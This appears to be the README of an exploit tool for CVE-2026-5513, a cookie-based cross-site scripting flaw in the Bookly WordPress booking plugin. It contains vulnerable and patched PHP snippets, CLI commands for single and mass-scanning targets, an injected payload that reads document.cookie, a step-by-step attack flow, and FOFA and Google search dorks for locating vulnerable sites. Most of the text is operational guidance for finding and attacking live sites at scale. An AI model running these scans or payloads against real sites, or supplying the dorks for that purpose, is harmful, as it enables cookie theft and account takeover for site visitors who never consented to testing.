Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
         → Visit page with Bookly booking form
         → Plugin reads cookie, renders value without escaping
         → XSS payload executes in victim's browser context

// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // No sanitization
echo '<input type="text" value="' . $full_name . '" />';  // No escaping

// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

 ✓ Auto IP/Domain probing (HTTP/HTTPS, common ports, redirect detection)
 ✓ WordPress & Bookly plugin detection with version check
 ✓ Cookie setting detection (BooklyL10n JS analysis + canary reflection)
 ✓ Multi-context XSS testing (HTML, JavaScript, attribute injection)
 ✓ Payload injection with reflection verification
 ✓ Single target or mass scan from file
 ✓ Multi-threaded scanning (up to 20 threads)
 ✓ Proxy support (Burp, etc.)
 ✓ Auto-save vulnerable results
 ✓ Interactive menu + CLI modes

pip install requests colorama

# Check single target
python CVE-2026-5513.py -u https://target.com -v

# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v

# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v

# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

python CVE-2026-5513.py

https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)

# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"